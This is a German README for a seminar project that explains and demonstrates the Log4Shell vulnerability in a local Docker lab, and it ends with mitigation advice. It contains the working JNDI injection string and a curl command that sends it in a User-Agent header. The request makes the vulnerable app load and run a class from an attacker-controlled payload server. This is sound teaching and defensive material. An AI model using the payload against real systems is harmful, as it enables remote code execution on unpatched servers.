
Praktische Demonstration der Log4Shell-Sicherheitslücke (CVE-2021-44228)
Dieses Repository dient ausschließlich zu Bildungs- und Demonstrationszwecken im Rahmen einer sicherheitsbezogenen Seminararbeit. Verwenden Sie diesen Code nicht in Produktionsumgebungen oder gegen Systeme ohne ausdrückliche Erlaubnis. Der Aufbau soll das Sicherheitsbewusstsein fördern und zeigen, wie komplexe Schwachstellen entstehen können, wenn scheinbar harmlose Features wie Logging, Namensauflösung und dynamisches Laden von Klassen miteinander kombiniert werden.
Ziel dieser Seminararbeit ist es, ein tiefgehendes Verständnis für die Log4Shell-Sicherheitslücke (CVE-2021-44228) zu vermitteln, die im Dezember 2021 bekannt wurde und als eine der kritischsten Sicherheitslücken der letzten Jahre eingestuft wurde. In der Arbeit werden sowohl die theoretischen Grundlagen erklärt, als auch eine praktische Demonstration der Schwachstelle gezeigt.
Zur praktischen Veranschaulichung der Log4Shell-Sicherheitslücke wurde in diesem Repository eine isolierte und containerisierte Umgebung aufgebaut, die den vollständigen Angriffsablauf reproduzierbar darstellt. Die Demonstration basiert auf drei zentralen Komponenten:
User-Agent-Header aus dem HTTP-Request, welchen die Angreifer manipulieren können, um die Schwachstelle auszunutzen.Exploit.class) ausliefert. Wie auch der LDAP-Server ist dieser Server unter der Kontrolle des Angreifers.Hinweis: Nähere Informationen zum Setup und zur Ausführung der Demonstration finden sich im Abschnitt 4. Projektstruktur und Setup und 5. Demo des Projekts.
Log4Shell ist der Name einer kritischen Sicherheitslücke in der Java-Bibliothek Log4j mit der Bezeichnung CVE-2021-44228. Sie ermöglicht es einem Angreifer, mit minimalem Aufwand beliebigen Code auf einem entfernten Server auszuführen (Remote Code Execution, kurz RCE).
Die Schwachstelle betrifft Log4j in den Versionen 2.0 bis 2.14.1 und ist so gravierend, dass sie von vielen Sicherheitsbehörden, darunter dem BSI (Bundesamt für Sicherheit in der Informationstechnik), mit der höchste Risikostufe eingestuft wurde.
Log4Shell ist deshalb besonders gefährlich, weil ...
Die eigentliche Ursache liegt in einer Funktionalität von Log4j, die es erlaubt, dynamische Inhalte in Log-Nachrichten über sogenannte Lookups zu laden. In Kombination mit JNDI (Java Naming and Directory Interface) und dem Protokoll LDAP (Lightweight Directory Access Protocol) erlaubt dies, entfernte schädliche Java-Klassen zu laden und auszuführen.
Die Entdeckung und Veröffentlichung der Schwachstelle löste weltweit eine Sicherheitswelle aus. Viele Systeme mussten umgehend gepatcht oder ausgeschalten werden. In der Folgezeit wurden weitere verwandte Schwachstellen (z. B. CVE-2021-45046) bekannt, was zeigt, wie tiefgehend und gefährlich die Problematik war.
Im Folgenden werden die beteiligten Technologien und deren Zusammenspiel im Detail erläutert, um ein tieferes Verständnis für die Schwachstelle zu entwickeln.
Log4j ist eine von Apache erstellte Bibliothek zur Protokollierung von Ereignissen in Java-Anwendungen. Logging ist in der Softwareentwicklung ein zentrales Werkzeug, um Systeme zu überwachen oder Fehler zu analysieren. Log4j gehört zu den bekanntesten und meistgenutzten Logging-Frameworks im Java-Ökosystem und wird sowohl in kleinen Anwendungen als auch in großen Unternehmenssystemen eingesetzt.
Während ein Programm läuft, treten beispielsweise folgende Ereignisse auf:
Diese Ereignisse lassen sich mit Logs dokumentieren, meist als Textausgabe in der Konsole, in Dateien oder über Netzwerkprotokolle an zentrale Logserver. Durch sinnvolles Logging lässt sich nachvollziehen, was eine Anwendung wann getan hat.
Log4j bietet eine flexible, hochgradig konfigurierbare Infrastruktur zur Erzeugung und Verarbeitung von Log-Nachrichten. Zu den zentralen Funktionen gehören:
DEBUG, INFO, WARN, ERROR), mit denen sich steuern lässt, wie detailliert geloggt werden soll.Weitere Features, die für die Seminararbeit relevant sind, werden in späteren Abschnitten behandelt, insbesondere die Platzhalter-Funktionalität und die Lookup-Funktionalität.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Example {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
In diesem einfachen Beispiel wird eine Logger-Instanz erstellt oder abgerufen, falls sie bereits existiert. Anschließend wird eine Log-Nachricht auf der INFO-Stufe ausgegeben. Log4j kümmert sich um die Formatierung und Ausgabe der Nachricht, basierend auf der Konfiguration. Eine Beispielkonfiguration könnte wie folgt aussehen:
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Diese Konfiguration definiert einen Appender, der Log-Nachrichten im Format Datum Uhrzeit Log-Level Loggername - Nachricht auf der Konsole ausgibt. Dieser Appender wird dann dem Root-Logger zugewiesen, der alle Log-Nachrichten ab der Stufe INFO verarbeitet.
Die Ausgabe könnte dann so aussehen:
2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Kommen wir nun zu den spezifischen Features von Log4j, die für die Log4Shell-Sicherheitslücke am relevantesten sind.
Ein besonders nützliches Feature von Log4j ist die Unterstützung von Platzhaltern in Log-Nachrichten. So können dynamische Inhalte zur Laufzeit in die Log-Ausgabe eingefügt werden:
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
Dabei wird zur Laufzeit {} durch den tatsächlichen Wert der Variable username ersetzt.
Dies führt zu der folgenden Ausgabe:
"Benutzer angemeldet: Alice"
Neben einfachen Platzhaltern bietet Log4j auch die Möglichkeit, komplexere Ausdrücke direkt in der Log-Nachricht aufzulösen. Diese Funktion nennt sich Lookup: Sie erlaubt es, Werte zur Laufzeit dynamisch einzufügen (z. B. Umgebungsvariablen, Systeminformationen oder Konfigurationswerte)
Beispiele für solche dynamischen Ausdrücke:
${env:HOME} - gibt den Wert der Umgebungsvariablen HOME zurück. Unter Linux / macOS wäre das z. B. /home/username.${docker:...} - könnte Informationen über den Docker-Container liefern, in dem die Anwendung läuft.${jndi:...} - führt einen JNDI-Lookup durch, um interne oder externe Ressourcen zu laden.Im nächsten Abschnitt wird die JNDI-Funktionalität genauer betrachtet, da sie eine zentrale Rolle in der Log4Shell-Sicherheitslücke spielt.
JNDI steht für Java Naming and Directory Interface und ist eine standardisierte Java-API, die es ermöglicht, auf Namens- und Verzeichnisdienste zuzugreifen. Mit JNDI können Java-Anwendungen Ressourcen nicht direkt über technische Pfade, sondern über symbolische Namen referenzieren.
Ein klassischer JNDI-Einsatz ist das Nachschlagen von Datenbankverbindungen, welches Sie hier sehen:
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
Zuerst wird ein InitialContext erstellt, der den Einstiegspunkt für die Namensauflösung mithilfe von JNDI darstellt. Anschließend wird über die Methode lookup eine Ressource gesucht. In diesem Fall eine Datenquelle (DataSource) mit dem symbolischen Namen java:/comp/env/jdbc/myDB.

Die Java-Anwendung nutzt die protokollunabhängige Schnittstelle von JNDI, diese enthält Klassen wie InitialContext, mit der Methode lookup. Die API ist immer gleich, egal ob man LDAP, DNS, usw. verwendet. Der Naming Manager fungiert als Vermittler und wählt den passenden Service Provider aus, der die eigentliche Kommunikation übernimmt. Beim JNDI SPI (Service Provider Interface) handelt es sich um eine Sammlung von Klassen, die die JNDI-Funktionalität für verschiedene Protokolle implementieren. In unserem Fall ist der relevante Service Provider LDAP.
Im nächsten Abschnitt schauen wir den Service Provider LDAP genauer an.
LDAP steht für Lightweight Directory Access Protocol und ist ein standardisiertes Netzwerkprotokoll, das den Zugriff auf sogenannte Verzeichnisdienste ermöglicht. Es wurde ursprünglich als schlanke Alternative zu X.500 entwickelt und ist heute ein Standard in vielen Unternehmensnetzwerken, besonders für zentrale Benutzer- und Rechteverwaltung.
Ein Verzeichnisdienst ist eine strukturierte Datenbank, die Informationen in hierarchischer Form speichert. Anders als relationale Datenbanken ist ein Verzeichnis:

Wie man auf dem Bild sieht, ist ein LDAP-Verzeichnis in einer baumartigen Struktur organisiert. Auf der Root-Ebene befinden sich die Domain Components (dc). Darunter können Organizational Units (ou) liegen, die weitere Unterteilungen darstellen, wie zum Beispiel Users. Für einzelne Benutzer oder Objekte gibt es dann Common Names (cn), die den spezifischen Eintrag identifizieren und verschiedene Attribute enthalten können.
Bedeutung:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameSchauen wir uns nun an, wie LDAP angesprochen wird und welche Rolle es in der Log4Shell-Sicherheitslücke spielt.
Man kann in LDAP auch Referenzen auf externe Klassen speichern, die dann bei Bedarf nachgeladen werden können. Dies geschieht über spezielle Attribute wie javaClassName und javaCodeBase. Diese Attribute können auf eine URL verweisen, von der eine Java-Klasse geladen werden soll.
Mit der folgenden URL können wir beispielsweise ein Objekt abfragen, das auf eine Java-Klasse verweist:
ldap://ldap-server:1389/Exploit

Wie man auf dem Bild sieht, enthält der LDAP-Eintrag ein Attribut javaClassName, das auf die Klasse Exploit verweist. Mit dem Attribut javaCodeBase wird die URL angegeben, von der die Klasse geladen werden soll. In diesem Fall ist es ein HTTP-Server mit der Adresse http://payload-server/, der die Exploit.class bereitstellt.
Nun haben wir alle technischen Komponenten im Detail betrachtet. Im nächsten Abschnitt wird der allgemeine Ablauf der Log4Shell-Sicherheitslücke beschrieben, um zu verstehen, wie diese Technologien zusammenspielen und welcher Angriffsvektor daurch entsteht.
Nachdem wir die drei beteiligten Technologien, Log4j als Logging-Framework, JNDI als Schnittstelle für Verzeichnisdienst und LDAP als konkreten Verzeichnisdienst, einzeln betrachtet haben, wird nun deutlich, wie gefährlich ihre Kombination sein kann, wenn keine Sicherheitsvorkehrungen getroffen wurden.
In Log4j-Versionen bis 2.14.1 war es möglich, sogenannte Lookups direkt in Log-Nachrichten auswerten zu lassen. Dadurch konnten JNDI-Abfragen über LDAP eingebunden werden, welche dann beliebige Java-Klassen von einem entfernten Server laden und ausführen konnten, ohne diese Funktionalität explizit aktiviert zu haben.
Nun setzen wir das gerade Erlernte in einem konkreten Beispiel um. Als ersten Schritt starten wir einen JNDI-Lookup mit dem folgenden Ausdruck:
${jndi:...}
Setzten wir nun den LDAP-Service Provider ein, um eine entfernte Java-Klasse zu laden ldap://ldap-server:1389/Exploit. Zusammen ergibt sich folgende Zeichenkette:
${jndi:ldap://ldap-server:1389/Exploit}
Nun muss nur noch ein Angreifer dafür sorgen, dass diese Zeichenkette in eine Log-Nachricht gelangt, z. B. durch Manipulation eines HTTP-Headers.

Wie man auf dem Bild sieht, gibt es links den Angreifer, der einen eigenen LDAP-Server und Payload-Server hostet. Rechts ist die verwundbare Anwendung mit der Log4j Version 2.14.1. Der Ablauf des Angriffs ist wie folgt:
Ein Angreifer sendet eine HTTP-Anfrage an die Anwendung und trägt die oben gezeigte manipulierte Zeichenkette zum Beispiel in den User-Agent-Header ein:
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
Die Anwendung loggt den User-Agent-Header:
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j erkennt ${jndi:...}und führt automatisch einen JNDI-Lookup über das angegebene Protokoll ldap durch
Nun wird der LDAP-Service Provider aufgerufen, um die angegebene URL ldap://ldap-server:1389/Exploit aufzulösen.
Der LDAP-Server antwortet mit einem Verweis auf eine externe Java-Klasse (Exploit.class), die sich auf folgendem Server befindet:
http://payload-server:8000/Exploit.class
Die Anwendung schickt eine Anfrage an den Payload-Server, um die Exploit.class zu laden.
Weil:
Das Zusammenspiel von dynamischen Lookups in Log4j, flexibler Namensauflösung durch JNDI und dem Protokoll LDAP schafft eine unerwartete Angriffsfläche. Was ursprünglich als leistungsfähiges Konfigurations-Feature gedacht war, wurde zur Einfallstür für Remote Code Execution.
Im nächsten Abschnitt wird die Projektstruktur und das Setup der Demo beschrieben, um die Schwachstelle lokal auszuführen.
Die Projektstruktur spiegelt die drei zentralen Komponenten wider:
log4shell/
...
├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1
├── ldap-server/ # LDAP-Server (Fork von marshalsec)
├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads
...
Um die Log4Shell-Demo lokal auszuführen, werden folgende Voraussetzungen benötigt:
Die gesamte Infrastruktur basiert auf Containern. Docker sorgt dafür, dass jede Komponente (vulnerable-app, ldap-server, payload-server) in einer isolierten Umgebung läuft.
Docker:
Installation unter https://www.docker.com/get-started
Docker Compose (wird bei Docker Desktop bereits mitgeliefert)
Alternativ installierbar über https://docs.docker.com/compose/
Um den Angriff über die Kommandozeile auszuführen, kann das Tool curl verwendet werden:
Hinweis: Die Anwendung und alle enthaltenen Server laufen lokal auf Ihrem Rechner und kommunizieren ausschließlich innerhalb eines isolierten Docker-Netzwerks (
log4shell-network). Es wird keine Verbindung zu externen Servern benötigt oder hergestellt.
In diesem Abschnitt wird beschrieben, wie die Umgebung lokal eingerichtet und gestartet werden kann.
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Mit Docker Compose können alle benötigten Dienste mit einem einzigen Befehl gestartet werden:
docker-compose up --build
docker-compose up --build bewirkt:
vulnerable_app, ldap_server und payload_server werden gebautlog4shell-network)Nach erfolgreichem Start ist die Anwendung über folgenden Endpunkt erreichbar:
http://localhost:8080
Log-Ausgaben und Ereignisse erscheinen live in der Konsole. Die Container laufen, solange das Terminalfenster geöffnet ist (oder der Prozess im Hintergrund läuft).
Hinweis: Stellen Sie sicher, dass keine anderen Dienste auf den Ports 8080, 1389 oder 8000 laufen, um Konflikte zu vermeiden.
Falls Sie die Container schließen möchten, können Sie dies mit
docker-compose downtun. Dadurch werden alle laufenden Container gestoppt und entfernt, aber die Images bleiben erhalten.
In diesem Abschnitt wird gezeigt, wie die Log4Shell-Schwachstelle in der bereitgestellten Demo-Umgebung gezielt ausgelöst werden kann. Dabei arbeiten alle zuvor gestarteten Komponenten zusammen:
User-Agent-Header mit Log4jExploit.class) bereitUm die Demo auszuführen, benötigen Sie zwei Konsolenfenster. Starten Sie zunächst die Umgebung mit docker-compose up --build in einem Terminal, falls Sie dies nicht bereits gemacht haben. In einem zweiten Terminal führen Sie dann die folgenden Schritte aus:
Verifizieren Sie, dass die Datei noch nicht existiert:
Da es sich um eine Demo handelt, wird als Exploit lediglich eine leere Datei erstellt, um die erfolgreiche Ausführung zu demonstrieren. Das können Sie der Klasse payload-server/Exploit.java entnehmen. Um zu überprüfen, ob die Datei noch nicht existiert, führen Sie folgenden Befehl aus:
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Wenn die Datei nicht existiert, sollte eine Fehlermeldung wie No such file or directory erscheinen. Dies bestätigt, dass der Exploit noch nicht ausgeführt wurde.
Senden Sie die manipulierte Zeichenkette an die Anwendung:
curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
Erklärung des Payloads:
${jndi:...}: Log4j interpretiert diesen Ausdruck automatisch und führt einen JNDI-Lookup durch.ldap://ldap-server:1389: Verbindet sich mit dem LDAP-Server, der im Docker-Netzwerk läuft./Exploit: Name des LDAP-Eintrags, der auf die schädliche Klasse verweist.http://localhost:8080: Die URL der verwundbaren Anwendung, an die Sie die Anfrage senden, um die Log4j-Schwachstelle auszulösen.Hinweis: Wie bereits erwähnt, wird in dieser Demo lediglich eine leere Datei erstellt, um die erfolgreiche Ausführung zu demonstrieren. In echten Angriffsszenarien könnte beliebiger Code ausgeführt werden!
Angriffsfolge überprüfen
Nun können Sie erneut überprüfen, ob die Datei /tmp/remote_code_execution im Container erstellt wurde:
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Wenn der Angriff erfolgreich war, sollten Sie folgende Ausgabe sehen:
-rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Mit nur einer einzelnen manipulierten Logzeile wird ein vollständiger Remote-Code-Ausführungsprozess ausgelöst, genau das macht Log4Shell so gefährlich. Diese Demo zeigt, wie das Zusammenspiel von Log4j, JNDI und LDAP zur Ausnutzung führen kann.
Die Log4Shell-Sicherheitslücke hat gezeigt, wie tiefgreifend moderne Anwendungen durch scheinbar harmlose Features kompromittiert werden können. Um Systeme wirksam gegen solche Angriffe abzusichern, sollten folgende Maßnahmen umgesetzt werden:
Log4j-Version aktualisieren (mindestens 2.17.1)
Die wichtigste Maßnahme ist das Update auf eine Log4j Version ≥ 2.17.1, denn erst ab dieser Version wurden alle bekannten Schwachstellen (inklusive DoS und Konfigurations-Exploits) behoben. Frühere Versionen sind weiterhin verwundbar und sollten nicht mehr verwendet werden!
JNDI-Lookups deaktivieren
Falls ein vollständiges Update nicht möglich ist, sollten JNDI-Lookups deaktiviert werden. Dies kann in der log4j2.properties-Datei durch Setzen der folgenden Konfiguration erreicht werden:
log4j2.formatMsgNoLookups=true
Diese Einstellung verhindert, dass Log4j JNDI-Lookups in Log-Nachrichten auswertet. Dadurch wird die Angriffsfläche erheblich reduziert. Jedoch ist dies nur ein temporärer Workaround, da andere Schwachstellen weiterhin bestehen können (DoS, Konfigurations-Exploits).
Eingaben validieren
Alle Benutzereingaben sollten validiert und bereinigt werden, bevor sie in Log-Nachrichten verwendet werden. Insbesondere sollten dynamische Ausdrücke wie ${jndi:...} nicht direkt übernommen werden.
Ausgehende Netzwerkverbindungen einschränken
Ein zentraler Bestandteil des Exploits war der ungehinderte Zugriff auf externe Server, welche vom Angreifer kontrolliert werden. Systeme sollten so konfiguriert werden, dass sie nicht beliebige externe Ziele erreichen können, z. B. durch Firewalls oder Netzwerk-Policies. Insbesondere sollte der Zugriff auf unbekannte LDAP-Ziele aus der Anwendung heraus unterbunden werden.
Die Log4Shell-Sicherheitslücke zeigt eindrucksvoll, wie wichtig es ist, sich nicht nur auf die Sicherheit des eigenen Codes zu verlassen, sondern auch die genutzten Bibliotheken und Frameworks sorgfältig auszuwählen und zu verstehen. In diesem Fall führte eine scheinbar harmlose Logging-Bibliothek (Log4j) zu einer Remote-Code-Execution-Schwachstelle. Daran sieht man, dass auch Abhängigkeiten zu einer Einfallstür für Exploits werden können. Man sollte sich immer fragen, ob man eine externe Bibliothek wirklich benötigt oder ob sich eine Funktion auch ohne zusätzliche Abhängigkeiten umsetzen lässt.
Ein weiterer wichtiger Punkt ist das Thema versteckte Komplexität. Funktionen wie ${env:HOME} innerhalb einer Log-Nachricht sehen harmlos aus, verbergen aber komplexe Mechanismen im Hintergrund, wie dynamische Lookups. Dadurch kann sich unbemerkt gefährliches Verhalten einschleichen. Alternativ sollte man lieber explizite und transparente Lösungen verwenden, etwa System.getenv("HOME"), so behält man die Kontrolle und kann nachvollziehen, was passiert.
Zudem gilt ein allgemeiner, aber oft vernachlässigter Grundsatz: Niemals Benutzereingaben ungeprüft weiterverarbeiten. Besonders bei sicherheitsrelevanten Operationen wie Logging, Datenbankzugriffen oder Systembefehlen müssen Eingaben validiert und bereinigt werden.
Nicht zuletzt zeigt der Vorfall, wie gefährlich es sein kann, wenn mächtige Features wie JNDI-Lookups standardmäßig aktiviert sind. Wäre in Log4j diese Funktion nicht standardmäßig aktiviert gewesen, wäre nur eine kleine Teilmenge der Systeme betroffen gewesen.
Die wichtigsten Erkenntnisse:
Der Payload Server antwortet mit der Java-Klasse Exploit.class. Anschließend wird diese Klasse ohne jegliche Validierung ausgeführt. Der Angreifer hat somit die komplette Kontrolle über den Code, der auf dem verwundbaren Server ausgeführt wird.
Was passiert im Hintergrund?

User-Agent-Header loggenUser-Agent-Header aus und führt einen JNDI-Lookup über LDAP durchExploit.class, welche der Payload-Server bereitstellt